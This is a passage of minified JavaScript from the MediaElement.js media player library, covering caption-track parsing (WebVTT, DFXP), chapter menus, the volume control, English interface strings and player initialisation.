o=(0,I.siblings)(self,function(e){return o(e)});(0,I.fadeIn)(r.slidesContainer.querySelector(n));for(var s=0,l=o.length;s<l;s++)(0,I.fadeOut)(o[s])}}},displaySlides:function(){if(void 0!==this.slides){var e=this.slides,t=this.searchTrackPosition(e.entries,this.media.currentTime);-1<t&&this.showSlide(t)}},drawChapters:function(e){var r=this,t=e.entries.length;if(t){r.chaptersButton.querySelector("ul").innerHTML="";for(var n=0;n<t;n++)r.chaptersButton.querySelector("ul").innerHTML+='<li class="'+r.options.classPrefix+'chapters-selector-list-item" role="menuitemcheckbox" aria-live="polite" aria-disabled="false" aria-checked="false"><input type="radio" class="'+r.options.classPrefix+'captions-selector-input" name="'+r.id+'_chapters" id="'+r.id+"_chapters_"+n+'" value="'+e.entries[n].start+'" disabled><label class="'+r.options.classPrefix+'chapters-selector-label"for="'+r.id+"_chapters_"+n+'">'+e.entries[n].text+"</label></li>";for(var o=r.chaptersButton.querySelectorAll('input[type="radio"]'),i=r.chaptersButton.querySelectorAll("."+r.options.classPrefix+"chapters-selector-label"),a=0,s=o.length;a<s;a++)o[a].disabled=!1,o[a].checked=!1,o[a].addEventListener("click",function(e){var t=r.chaptersButton.querySelectorAll("li"),n=(0,I.siblings)(this,function(e){return(0,I.hasClass)(e,r.options.classPrefix+"chapters-selector-label")})[0];this.checked=!0,this.parentNode.setAttribute("aria-checked",!0),(0,I.addClass)(n,r.options.classPrefix+"chapters-selected"),(0,I.removeClass)(r.chaptersButton.querySelector("."+r.options.classPrefix+"chapters-selected"),r.options.classPrefix+"chapters-selected");for(var o=0,i=t.length;o<i;o++)t[o].setAttribute("aria-checked",!1);void 0===(e.keyCode||e.which)&&setTimeout(function(){r.getElement(r.container).focus()},500),r.media.setCurrentTime(parseFloat(this.value)),r.media.paused&&r.media.play()});for(var l=0,d=i.length;l<d;l++)i[l].addEventListener("click",function(e){var t=(0,I.siblings)(this,function(e){return"INPUT"===e.tagName})[0],n=(0,j.createEvent)("click",t);t.dispatchEvent(n),e.preventDefault()})}},searchTrackPosition:function(e,t){for(var n=0,o=e.length-1,i=void 0,r=void 0,a=void 0;n<=o;){if(r=e[i=n+o>>1].start,a=e[i].stop,r<=t&&t<a)return i;r<t?n=i+1:t<r&&(o=i-1)}return-1}}),d.default.language={codes:{af:"mejs.afrikaans",sq:"mejs.albanian",ar:"mejs.arabic",be:"mejs.belarusian",bg:"mejs.bulgarian",ca:"mejs.catalan",zh:"mejs.chinese","zh-cn":"mejs.chinese-simplified","zh-tw":"mejs.chines-traditional",hr:"mejs.croatian",cs:"mejs.czech",da:"mejs.danish",nl:"mejs.dutch",en:"mejs.english",et:"mejs.estonian",fl:"mejs.filipino",fi:"mejs.finnish",fr:"mejs.french",gl:"mejs.galician",de:"mejs.german",el:"mejs.greek",ht:"mejs.haitian-creole",iw:"mejs.hebrew",hi:"mejs.hindi",hu:"mejs.hungarian",is:"mejs.icelandic",id:"mejs.indonesian",ga:"mejs.irish",it:"mejs.italian",ja:"mejs.japanese",ko:"mejs.korean",lv:"mejs.latvian",lt:"mejs.lithuanian",mk:"mejs.macedonian",ms:"mejs.malay",mt:"mejs.maltese",no:"mejs.norwegian",fa:"mejs.persian",pl:"mejs.polish",pt:"mejs.portuguese",ro:"mejs.romanian",ru:"mejs.russian",sr:"mejs.serbian",sk:"mejs.slovak",sl:"mejs.slovenian",es:"mejs.spanish",sw:"mejs.swahili",sv:"mejs.swedish",tl:"mejs.tagalog",th:"mejs.thai",tr:"mejs.turkish",uk:"mejs.ukrainian",vi:"mejs.vietnamese",cy:"mejs.welsh",yi:"mejs.yiddish"}},d.default.TrackFormatParser={webvtt:{pattern:/^((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{1,3})?) --\> ((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{3})?)(.*)$/,parse:function(e){for(var t=e.split(/\r?\n/),n=[],o=void 0,i=void 0,r=void 0,a=0,s=t.length;a<s;a++){if((o=this.pattern.exec(t[a]))&&a<t.length){for(0<=a-1&&""!==t[a-1]&&(r=t[a-1]),i=t[++a],a++;""!==t[a]&&a<t.length;)i=i+"\n"+t[a],a++;i=null===i?"":i.trim().replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/gi,"<a href='$1' target='_blank'>$1</a>"),n.push({identifier:r,start:0===(0,m.convertSMPTEtoSeconds)(o[1])?.2:(0,m.convertSMPTEtoSeconds)(o[1]),stop:(0,m.convertSMPTEtoSeconds)(o[3]),text:i,settings:o[5]})}r=""}return n}},dfxp:{parse:function(e){var t=L.default.adoptNode((new DOMParser).parseFromString(e,"application/xml").documentElement).querySelector("div"),n=t.querySelectorAll("p"),o=L.default.getElementById(t.getAttribute("style")),i=[],r=void 0;if(o){o.removeAttribute("id");var a=o.attributes;if(a.length){r={};for(var s=0,l=a.length;s<l;s++)r[a[s].name.split(":")[1]]=a[s].value}}for(var d=0,u=n.length;d<u;d++){var c=void 0,f={start:null,stop:null,style:null,text:null};if(n[d].getAttribute("begin")&&(f.start=(0,m.convertSMPTEtoSeconds)(n[d].getAttribute("begin"))),!f.start&&n[d-1].getAttribute("end")&&(f.start=(0,m.convertSMPTEtoSeconds)(n[d-1].getAttribute("end"))),n[d].getAttribute("end")&&(f.stop=(0,m.convertSMPTEtoSeconds)(n[d].getAttribute("end"))),!f.stop&&n[d+1].getAttribute("begin")&&(f.stop=(0,m.convertSMPTEtoSeconds)(n[d+1].getAttribute("begin"))),r)for(var p in c="",r)c+=p+": "+r[p]+";";c&&(f.style=c),0===f.start&&(f.start=.2),f.text=n[d].innerHTML.trim().replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_| !:, .; ]*[-A-Z0-9+&@#\/%=~_|])/gi,"<a href='$1' target='_blank'>$1</a>"),i.push(f)}return i}}}},{16:16,2:2,26:26,27:27,30:30,5:5,7:7}],14:[function(e,t,n){"use strict";var x=r(e(2)),o=e(16),i=r(o),w=r(e(5)),P=e(25),T=e(27),C=e(26);function r(e){return e&&e.__esModule?e:{default:e}}Object.assign(o.config,{muteText:null,unmuteText:null,allyVolumeControlText:null,hideVolumeOnTouchDevices:!0,audioVolume:"horizontal",videoVolume:"vertical",startVolume:.8}),Object.assign(i.default.prototype,{buildvolume:function(e,t,n,o){if(!P.IS_ANDROID&&!P.IS_IOS||!this.options.hideVolumeOnTouchDevices){var a=this,s=a.isVideo?a.options.videoVolume:a.options.audioVolume,r=(0,T.isString)(a.options.muteText)?a.options.muteText:w.default.t("mejs.mute"),l=(0,T.isString)(a.options.unmuteText)?a.options.unmuteText:w.default.t("mejs.unmute"),i=(0,T.isString)(a.options.allyVolumeControlText)?a.options.allyVolumeControlText:w.default.t("mejs.volume-help-text"),d=x.default.createElement("div");if(d.className=a.options.classPrefix+"button "+a.options.classPrefix+"volume-button "+a.options.classPrefix+"mute",d.innerHTML="horizontal"===s?'<button type="button" aria-controls="'+a.id+'" title="'+r+'" aria-label="'+r+'" tabindex="0"></button>':'<button type="button" aria-controls="'+a.id+'" title="'+r+'" aria-label="'+r+'" tabindex="0"></button><a href="javascript:void(0);" class="'+a.options.classPrefix+'volume-slider" aria-label="'+w.default.t("mejs.volume-slider")+'" aria-valuemin="0" aria-valuemax="100" role="slider" aria-orientation="vertical"><span class="'+a.options.classPrefix+'offscreen">'+i+'</span><div class="'+a.options.classPrefix+'volume-total"><div class="'+a.options.classPrefix+'volume-current"></div><div class="'+a.options.classPrefix+'volume-handle"></div></div></a>',a.addControlElement(d,"volume"),a.options.keyActions.push({keys:[38],action:function(e){var t=e.getElement(e.container).querySelector("."+a.options.classPrefix+"volume-slider");t&&t.matches(":focus")&&(t.style.display="block"),e.isVideo&&(e.showControls(),e.startControlsTimer());var n=Math.min(e.volume+.1,1);e.setVolume(n),0<n&&e.setMuted(!1)}},{keys:[40],action:function(e){var t=e.getElement(e.container).querySelector("."+a.options.classPrefix+"volume-slider");t&&(t.style.display="block"),e.isVideo&&(e.showControls(),e.startControlsTimer());var n=Math.max(e.volume-.1,0);e.setVolume(n),n<=.1&&e.setMuted(!0)}},{keys:[77],action:function(e){var t=e.getElement(e.container).querySelector("."+a.options.classPrefix+"volume-slider");t&&(t.style.display="block"),e.isVideo&&(e.showControls(),e.startControlsTimer()),e.media.muted?e.setMuted(!1):e.setMuted(!0)}}),"horizontal"===s){var u=x.default.createElement("a");u.className=a.options.classPrefix+"horizontal-volume-slider",u.href="javascript:void(0);",u.setAttribute("aria-label",w.default.t("mejs.volume-slider")),u.setAttribute("aria-valuemin",0),u.setAttribute("aria-valuemax",100),u.setAttribute("aria-valuenow",100),u.setAttribute("role","slider"),u.innerHTML+='<span class="'+a.options.classPrefix+'offscreen">'+i+'</span><div class="'+a.options.classPrefix+'horizontal-volume-total"><div class="'+a.options.classPrefix+'horizontal-volume-current"></div><div class="'+a.options.classPrefix+'horizontal-volume-handle"></div></div>',d.parentNode.insertBefore(u,d.nextSibling)}var c=!1,f=!1,p=!1,m="vertical"===s?a.getElement(a.container).querySelector("."+a.options.classPrefix+"volume-slider"):a.getElement(a.container).querySelector("."+a.options.classPrefix+"horizontal-volume-slider"),h="vertical"===s?a.getElement(a.container).querySelector("."+a.options.classPrefix+"volume-total"):a.getElement(a.container).querySelector("."+a.options.classPrefix+"horizontal-volume-total"),v="vertical"===s?a.getElement(a.container).querySelector("."+a.options.classPrefix+"volume-current"):a.getElement(a.container).querySelector("."+a.options.classPrefix+"horizontal-volume-current"),g="vertical"===s?a.getElement(a.container).querySelector("."+a.options.classPrefix+"volume-handle"):a.getElement(a.container).querySelector("."+a.options.classPrefix+"horizontal-volume-handle"),y=function(e){if(null!==e&&!isNaN(e)&&void 0!==e){if(e=Math.max(0,e),0===(e=Math.min(e,1))){(0,C.removeClass)(d,a.options.classPrefix+"mute"),(0,C.addClass)(d,a.options.classPrefix+"unmute");var t=d.firstElementChild;t.setAttribute("title",l),t.setAttribute("aria-label",l)}else{(0,C.removeClass)(d,a.options.classPrefix+"unmute"),(0,C.addClass)(d,a.options.classPrefix+"mute");var n=d.firstElementChild;n.setAttribute("title",r),n.setAttribute("aria-label",r)}var o=100*e+"%",i=getComputedStyle(g);"vertical"===s?(v.style.bottom=0,v.style.height=o,g.style.bottom=o,g.style.marginBottom=-parseFloat(i.height)/2+"px"):(v.style.left=0,v.style.width=o,g.style.left=o,g.style.marginLeft=-parseFloat(i.width)/2+"px")}},E=function(e){var t=(0,C.offset)(h),n=getComputedStyle(h);p=!0;var o=null;if("vertical"===s){var i=parseFloat(n.height);if(o=(i-(e.pageY-t.top))/i,0===t.top||0===t.left)return}else{var r=parseFloat(n.width);o=(e.pageX-t.left)/r}o=Math.max(0,o),o=Math.min(o,1),y(o),a.setMuted(0===o),a.setVolume(o),e.preventDefault(),e.stopPropagation()},b=function(){a.muted?(y(0),(0,C.removeClass)(d,a.options.classPrefix+"mute"),(0,C.addClass)(d,a.options.classPrefix+"unmute")):(y(o.volume),(0,C.removeClass)(d,a.options.classPrefix+"unmute"),(0,C.addClass)(d,a.options.classPrefix+"mute"))};e.getElement(e.container).addEventListener("keydown",function(e){!!e.target.closest("."+a.options.classPrefix+"container")||"vertical"!==s||(m.style.display="none")}),d.addEventListener("mouseenter",function(e){e.target===d&&(m.style.display="block",f=!0,e.preventDefault(),e.stopPropagation())}),d.addEventListener("focusin",function(){m.style.display="block",f=!0}),d.addEventListener("focusout",function(e){e.relatedTarget&&(!e.relatedTarget||e.relatedTarget.matches("."+a.options.classPrefix+"volume-slider"))||"vertical"!==s||(m.style.display="none")}),d.addEventListener("mouseleave",function(){f=!1,c||"vertical"!==s||(m.style.display="none")}),d.addEventListener("focusout",function(){f=!1}),d.addEventListener("keydown",function(e){if(a.options.enableKeyboard&&a.options.keyActions.length){var t=e.which||e.keyCode||0,n=o.volume;switch(t){case 38:n=Math.min(n+.1,1);break;case 40:n=Math.max(0,n-.1);break;default:return!0}c=!1,y(n),o.setVolume(n),e.preventDefault(),e.stopPropagation()}}),d.querySelector("button").addEventListener("click",function(){o.setMuted(!o.muted);var e=(0,T.createEvent)("volumechange",o);o.dispatchEvent(e)}),m.addEventListener("dragstart",function(){return!1}),m.addEventListener("mouseover",function(){f=!0}),m.addEventListener("focusin",function(){m.style.display="block",f=!0}),m.addEventListener("focusout",function(){f=!1,c||"vertical"!==s||(m.style.display="none")}),m.addEventListener("mousedown",function(e){E(e),a.globalBind("mousemove.vol",function(e){var t=e.target;c&&(t===m||t.closest("vertical"===s?"."+a.options.classPrefix+"volume-slider":"."+a.options.classPrefix+"horizontal-volume-slider"))&&E(e)}),a.globalBind("mouseup.vol",function(){c=!1,f||"vertical"!==s||(m.style.display="none")}),c=!0,e.preventDefault(),e.stopPropagation()}),o.addEventListener("volumechange",function(e){var t;c||b(),t=Math.floor(100*o.volume),m.setAttribute("aria-valuenow",t),m.setAttribute("aria-valuetext",t+"%")});var S=!1;o.addEventListener("rendererready",function(){p||setTimeout(function(){S=!0,(0===e.options.startVolume||o.originalNode.muted)&&o.setMuted(!0),o.setVolume(e.options.startVolume),a.setControlsSize()},250)}),o.addEventListener("loadedmetadata",function(){setTimeout(function(){p||S||((0===e.options.startVolume||o.originalNode.muted)&&o.setMuted(!0),0===e.options.startVolume&&(e.options.startVolume=0),o.setVolume(e.options.startVolume),a.setControlsSize()),S=!1},250)}),(0===e.options.startVolume||o.originalNode.muted)&&(o.setMuted(!0),0===e.options.startVolume&&(e.options.startVolume=0),b()),a.getElement(a.container).addEventListener("controlsresize",function(){b()})}}})},{16:16,2:2,25:25,26:26,27:27,5:5}],15:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});n.EN={"mejs.plural-form":1,"mejs.download-file":"Download File","mejs.install-flash":"You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/","mejs.fullscreen":"Fullscreen","mejs.play":"Play","mejs.pause":"Pause","mejs.time-slider":"Time Slider","mejs.time-help-text":"Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.","mejs.live-broadcast":"Live Broadcast","mejs.volume-help-text":"Use Up/Down Arrow keys to increase or decrease volume.","mejs.unmute":"Unmute","mejs.mute":"Mute","mejs.volume-slider":"Volume Slider","mejs.video-player":"Video Player","mejs.audio-player":"Audio Player","mejs.captions-subtitles":"Captions/Subtitles","mejs.captions-chapters":"Chapters","mejs.none":"None","mejs.afrikaans":"Afrikaans","mejs.albanian":"Albanian","mejs.arabic":"Arabic","mejs.belarusian":"Belarusian","mejs.bulgarian":"Bulgarian","mejs.catalan":"Catalan","mejs.chinese":"Chinese","mejs.chinese-simplified":"Chinese (Simplified)","mejs.chinese-traditional":"Chinese (Traditional)","mejs.croatian":"Croatian","mejs.czech":"Czech","mejs.danish":"Danish","mejs.dutch":"Dutch","mejs.english":"English","mejs.estonian":"Estonian","mejs.filipino":"Filipino","mejs.finnish":"Finnish","mejs.french":"French","mejs.galician":"Galician","mejs.german":"German","mejs.greek":"Greek","mejs.haitian-creole":"Haitian Creole","mejs.hebrew":"Hebrew","mejs.hindi":"Hindi","mejs.hungarian":"Hungarian","mejs.icelandic":"Icelandic","mejs.indonesian":"Indonesian","mejs.irish":"Irish","mejs.italian":"Italian","mejs.japanese":"Japanese","mejs.korean":"Korean","mejs.latvian":"Latvian","mejs.lithuanian":"Lithuanian","mejs.macedonian":"Macedonian","mejs.malay":"Malay","mejs.maltese":"Maltese","mejs.norwegian":"Norwegian","mejs.persian":"Persian","mejs.polish":"Polish","mejs.portuguese":"Portuguese","mejs.romanian":"Romanian","mejs.russian":"Russian","mejs.serbian":"Serbian","mejs.slovak":"Slovak","mejs.slovenian":"Slovenian","mejs.spanish":"Spanish","mejs.swahili":"Swahili","mejs.swedish":"Swedish","mejs.tagalog":"Tagalog","mejs.thai":"Thai","mejs.turkish":"Turkish","mejs.ukrainian":"Ukrainian","mejs.vietnamese":"Vietnamese","mejs.welsh":"Welsh","mejs.yiddish":"Yiddish"}},{}],16:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.config=void 0;var a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},o=function(){function o(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(e,t,n){return t&&o(e.prototype,t),n&&o(e,n),e}}(),S=r(e(3)),x=r(e(2)),f=r(e(7)),d=r(e(6)),i=r(e(17)),u=r(e(5)),w=e(25),m=e(27),c=e(30),p=e(28),P=function(e){{if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}}(e(26));function r(e){return e&&e.__esModule?e:{default:e}}f.default.mepIndex=0,f.default.players={};var s=n.config={poster:"",showPosterWhenEnded:!1,showPosterWhenPaused:!1,defaultVideoWidth:480,defaultVideoHeight:270,videoWidth:-1,videoHeight:-1,defaultAudioWidth:400,defaultAudioHeight:40,defaultSeekBackwardInterval:function(e){return.05*e.getDuration()},defaultSeekForwardInterval:function(e){return.05*e.getDuration()},setDimensions:!0,audioWidth:-1,audioHeight:-1,loop:!1,autoRewind:!0,enableAutosize:!0,timeFormat:"",alwaysShowHours:!1,showTimecodeFrameCount:!1,framesPerSecond:25,alwaysShowControls:!1,hideVideoControlsOnLoad:!1,hideVideoControlsOnPause:!1,clickToPlayPause:!0,controlsTimeoutDefault:1500,controlsTimeoutMouseEnter:2500,controlsTimeoutMouseLeave:1e3,iPadUseNativeControls:!1,iPhoneUseNativeControls:!1,AndroidUseNativeControls:!1,features:["playpause","current","progress","duration","tracks","volume","fullscreen"],useDefaultControls:!1,isVideo:!0,stretching:"auto",classPrefix:"mejs__",enableKeyboard:!0,pauseOtherPlayers:!0,secondsDecimalLength:0,customError:null,keyActions:[{keys:[32,179],action:function(e){w.IS_FIREFOX||(e.paused||e.ended?e.play():e.pause())}}]};f.default.MepDefaults=s;var l=function(){function r(e,t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,r);var n=this,o="string"==typeof e?x.default.getElementById(e):e;if(!(n instanceof r))return new r(o,t);if(n.node=n.media=o,n.node){if(n.media.player)return n.media.player;if(n.hasFocus=!1,n.controlsAreVisible=!0,n.controlsEnabled=!0,n.controlsTimer=null,n.currentMediaTime=0,n.proxy=null,void 0===t){var i=n.node.getAttribute("data-mejsoptions");t=i?JSON.parse(i):{}}return n.options=Object.assign({},s,t),n.options.loop&&!n.media.getAttribute("loop")?(n.media.loop=!0,n.node.loop=!0):n.media.loop&&(n.options.loop=!0),n.options.timeFormat||(n.options.timeFormat="mm:ss",n.options.alwaysShowHours&&(n.options.timeFormat="hh:mm:ss"),n.options.showTimecodeFrameCount&&(n.options.timeFormat+=":ff")),(0,c.calculateTimeFormat)(0,n.options,n.options.framesPerSecond||25),n.id="mep_"+f.default.mepIndex++,(f.default.players[n.id]=n).init(),n}}return o(r,[{key:"getElement",value:function(e){return e}},{key:"init",value:function(){var n=this,e=Object.assign({},n.options,{success:function(e,t){n._meReady(e,t)},error:function(e){n._handleError(e)}}),t=n.node.tagName.toLowerCase();if(n.isDynamic="audio"!==t&&"video"!==t&&"iframe"!==t,n.isVideo=n.isDynamic?n.options.isVideo:"audio"!==t&&n.options.isVideo,n.mediaFiles=null,n.trackFiles=null,w.IS_IPAD&&n.options.iPadUseNativeControls||w.IS_IPHONE&&n.options.iPhoneUseNativeControls)n.node.setAttribute("controls",!0),w.IS_IPAD&&n.node.getAttribute("autoplay")&&n.play();else if(!n.isVideo&&(n.isVideo||!n.options.features.length&&!n.options.useDefaultControls)||w.IS_ANDROID&&n.options.AndroidUseNativeControls)n.isVideo||n.options.features.length||n.options.useDefaultControls||(n.node.style.display="none");else{n.node.removeAttribute("controls");var o=n.isVideo?u.default.t("mejs.video-player"):u.default.t("mejs.audio-player"),i=x.default.createElement("span");if(i.className=n.options.classPrefix+"offscreen",i.innerText=o,n.media.parentNode.insertBefore(i,n.media),n.container=x.default.createElement("div"),n.getElement(n.container).id=n.id,n.getElement(n.container).className=n.options.classPrefix+"container "+n.options.classPrefix+"container-keyboard-inactive "+n.media.className,n.getElement(n.container).tabIndex=0,n.getElement(n.container).setAttribute("role","application"),n.getElement(n.container).setAttribute("aria-label",o),n.getElement(n.container).innerHTML='<div class="'+n.options.classPrefix+'inner"><div class="'+n.options.classPrefix+'mediaelement"></div><div class="'+n.options.classPrefix+'layers"></div><div class="'+n.options.classPrefix+'controls"></div></div>',n.getElement(n.container).addEventListener("focus",function(e){if(!n.controlsAreVisible&&!n.hasFocus&&n.controlsEnabled){n.showControls(!0);var t=(0,m.isNodeAfter)(e.relatedTarget,n.getElement(n.container))?"."+n.options.classPrefix+"controls ."+n.options.classPrefix+"button:last-child > button":"."+n.options.classPrefix+"playpause-button > button";n.getElement(n.container).querySelector(t).focus()}}),n.node.parentNode.insertBefore(n.getElement(n.container),n.node),n.options.features.length||n.options.useDefaultControls||(n.getElement(n.container).style.background="transparent",n.getElement(n.container).querySelector("."+n.options.classPrefix+"controls").style.display="none"),n.isVideo&&"fill"===n.options.stretching&&!P.hasClass(n.getElement(n.container).parentNode,n.options.classPrefix+"fill-container")){n.outerContainer=n.media.parentNode;var r=x.default.createElement("div");r.className=n.options.classPrefix+"fill-container",n.getElement(n.container).parentNode.insertBefore(r,n.getElement(n.container)),r.appendChild(n.getElement(n.container))}w.IS_ANDROID&&P.addClass(n.getElement(n.container),n.options.classPrefix+"android"),w.IS_IOS&&P.addClass(n.getElement(n.container),n.options.classPrefix+"ios"),w.IS_IPAD&&P.addClass(n.getElement(n.container),n.options.classPrefix+"ipad"),w.IS_IPHONE&&P.addClass(n.getElement(n.container),n.options.classPrefix+"iphone"),P.addClass(n.getElement(n.container),n.isVideo?n.options.classPrefix+"video":n.options.classPrefix+"audio"),n.getElement(n.container).querySelector("."+n.options.classPrefix+"mediaelement").appendChild(n.node),(n.media.player=n).controls=n.getElement(n.container).querySelector("."+n.options.classPrefix+"controls"),n.layers=n.getElement(n.container).querySelector("."+n.options.classPrefix+"layers");var a=n.isVideo?"video":"audio",s=a.substring(0,1).toUpperCase()+a.substring(1);0<n.options[a+"Width"]||-1<n.options[a+"Width"].toString().indexOf("%")?n.width=n.options[a+"Width"]:""!==n.node.style.width&&null!==n.node.style.width?n.width=n.node.style.width:n.node.getAttribute("width")?n.width=n.node.getAttribute("width"):n.width=n.options["default"+s+"Width"],0<n.options[a+"Height"]||-1<n.options[a+"Height"].toString().indexOf("%")?n.height=n.options[a+"Height"]:""!==n.node.style.height&&null!==n.node.style.height?n.height=n.node.style.height:n.node.getAttribute("height")?n.height=n.node.getAttribute("height"):n.height=n.options["default"+s+"Height"],n.initialAspectRatio=n.height>=n.width?n.width/n.height:n.height/n.width,n.setPlayerSize(n.width,n.height),e.pluginWidth=n.width,e.pluginHeight=n.height}if(f.default.MepDefaults=e,new d.default(n.media,e,n.mediaFiles),void 0!==n.getElement(n.container)&&n.options.features.length&&n.controlsAreVisible&&!n.options.hideVideoControlsOnLoad){var l=(0,m.createEvent)("controlsshown",n.getElement(n.container));n.getElement(n.container).dispatchEvent(l)}}},{key:"showControls",value:function(e){var i=this;if(e=void 0===e||e,!i.controlsAreVisible&&i.isVideo){if(e)!function(){P.fadeIn(i.getElement(i.controls),200,function(){P.removeClass(i.getElement(i.controls),i.options.classPrefix+"offscreen");var e=(0,m.createEvent)("controlsshown",i.getElement(i.container));i.getElement(i.container).dispatchEvent(e)});for(var n=i.getElement(i.container).querySelectorAll("."+i.options.classPrefix+"control"),e=function(e,t){P.fadeIn(n[e],200,function(){P.removeClass(n[e],i.options.classPrefix+"offscreen")})},t=0,o=n.length;t<o;t++)e(t)}();else{P.removeClass(i.getElement(i.controls),i.options.classPrefix+"offscreen"),i.getElement(i.controls).style.display="",i.getElement(i.controls).style.opacity=1;for(var t=i.getElement(i.container).querySelectorAll("."+i.options.classPrefix+"control"),n=0,o=t.length;n<o;n++)P.removeClass(t[n],i.options.classPrefix+"offscreen"),t[n].style.display="";var r=(0,m.createEvent)("controlsshown",i.getElement(i.container));i.getElement(i.container).dispatchEvent(r)}i.controlsAreVisible=!0,i.setControlsSize()}}},{key:"hideControls",value:function(e,t){var i=this;if(e=void 0===e||e,!0===t||!(!i.controlsAreVisible||i.options.alwaysShowControls||i.paused&&4===i.readyState&&(!i.options.hideVideoControlsOnLoad&&i.currentTime<=0||!i.options.hideVideoControlsOnPause&&0<i.currentTime)||i.isVideo&&!i.options.hideVideoControlsOnLoad&&!i.readyState||i.ended)){if(e)!function(){P.fadeOut(i.getElement(i.controls),200,function(){P.addClass(i.getElement(i.controls),i.options.classPrefix+"offscreen"),i.getElement(i.controls).style.display="";var e=(0,m.createEvent)("controlshidden",i.getElement(i.container));i.getElement(i.container).dispatchEvent(e)});for(var n=i.getElement(i.container).querySelectorAll("."+i.options.classPrefix+"control"),e=function(e,t){P.fadeOut(n[e],200,function(){P.addClass(n[e],i.options.classPrefix+"offscreen"),n[e].style.display=""})},t=0,o=n.length;t<o;t++)e(t)}();else{P.addClass(i.getElement(i.controls),i.options.classPrefix+"offscreen"),i.getElement(i.controls).style.display="",i.getElement(i.controls).style.opacity=0;for(var n=i.getElement(i.container).querySelectorAll("."+i.options.classPrefix+"control"),o=0,r=n.length;o<r;o++)P.addClass(n[o],i.options.classPrefix+"offscreen"),n[o].style.display="";var a=(0,m.createEvent)("controlshidden",i.getElement(i.container));i.getElement(i.container).dispatchEvent(a)}i.controlsAreVisible=!1}}},{key:"startControlsTimer",value:function(e){var t=this;e=void 0!==e?e:t.options.controlsTimeoutDefault,t.killControlsTimer("start"),t.controlsTimer=setTimeout(function(){t.hideControls(),t.killControlsTimer("hide")},e)}},{key:"killControlsTimer",value:function(){null!==this.controlsTimer&&(clearTimeout(this.controlsTimer),delete this.controlsTimer,this.controlsTimer=null)}},{key:"disableControls",value:function(){this.killControlsTimer(),this.controlsEnabled=!1,this.hideControls(!1,!0)}},{key:"enableControls",value:function(){this.controlsEnabled=!0,this.showControls(!1)}},{key:"_setDefaultPlayer",value:function(){var e=this;e.proxy&&e.proxy.pause(),e.proxy=new i.default(e),e.media.addEventListener("loadedmetadata",function(){0<e.getCurrentTime()&&0<e.currentMediaTime&&(e.setCurrentTime(e.currentMediaTime),w.IS_IOS||w.IS_ANDROID||e.play())})}},{key:"_meReady",value:function(e,t){var n=this,o=t.getAttribute("autoplay"),i=!(null==o||"false"===o),r=null!==e.rendererName&&/(native|html5)/i.test(e.rendererName);if(n.getElement(n.controls)&&n.enableControls(),n.getElement(n.container)&&n.getElement(n.container).querySelector("."+n.options.classPrefix+"overlay-play")&&(n.getElement(n.container).querySelector("."+n.options.classPrefix+"overlay-play").style.display=""),!n.created){if(n.created=!0,n.media=e,n.domNode=t,!(w.IS_ANDROID&&n.options.AndroidUseNativeControls||w.IS_IPAD&&n.options.iPadUseNativeControls||w.IS_IPHONE&&n.options.iPhoneUseNativeControls)){if(!n.isVideo&&!n.options.features.length&&!n.options.useDefaultControls)return i&&r&&n.play(),void(n.options.success&&("string"==typeof n.options.success?S.default[n.options.success](n.media,n.domNode,n):n.options.success(n.media,n.domNode,n)));if(n.featurePosition={},n._setDefaultPlayer(),n.buildposter(n,n.getElement(n.controls),n.getElement(n.layers),n.media),n.buildkeyboard(n,n.getElement(n.controls),n.getElement(n.layers),n.media),n.buildoverlays(n,n.getElement(n.controls),n.getElement(n.layers),n.media),n.options.useDefaultControls){var a=["playpause","current","progress","duration","tracks","volume","fullscreen"];n.options.features=a.concat(n.options.features.filter(function(e){return-1===a.indexOf(e)}))}n.buildfeatures(n,n.getElement(n.controls),n.getElement(n.layers),n.media);var s=(0,m.createEvent)("controlsready",n.getElement(n.container));n.getElement(n.container).dispatchEvent(s),n.setPlayerSize(n.width,n.height),n.setControlsSize(),n.isVideo&&(n.clickToPlayPauseCallback=function(){if(n.options.clickToPlayPause){var e=n.getElement(n.container).querySelector("."+n.options.classPrefix+"overlay-button"),t=e.getAttribute("aria-pressed");n.paused&&t?n.pause():n.paused?n.play():n.pause(),e.setAttribute("aria-pressed",!t),n.getElement(n.container).focus()}},n.createIframeLayer(),n.media.addEventListener("click",n.clickToPlayPauseCallback),!w.IS_ANDROID&&!w.IS_IOS||n.options.alwaysShowControls?(n.getElement(n.container).addEventListener("mouseenter",function(){n.controlsEnabled&&(n.options.alwaysShowControls||(n.killControlsTimer("enter"),n.showControls(),n.startControlsTimer(n.options.controlsTimeoutMouseEnter)))}),n.getElement(n.container).addEventListener("mousemove",function(){n.controlsEnabled&&(n.controlsAreVisible||n.showControls(),n.options.alwaysShowControls||n.startControlsTimer(n.options.controlsTimeoutMouseEnter))}),n.getElement(n.container).addEventListener("mouseleave",function(){n.controlsEnabled&&(n.paused||n.options.alwaysShowControls||n.startControlsTimer(n.options.controlsTimeoutMouseLeave))})):n.node.addEventListener("touchstart",function(){n.controlsAreVisible?n.hideControls(!1):n.controlsEnabled&&n.showControls(!1)},!!w.SUPPORT_PASSIVE_EVENT&&{passive:!0}),n.options.hideVideoControlsOnLoad&&n.hideControls(!1),n.options.enableAutosize&&n.media.addEventListener("loadedmetadata",function(e){var t=void 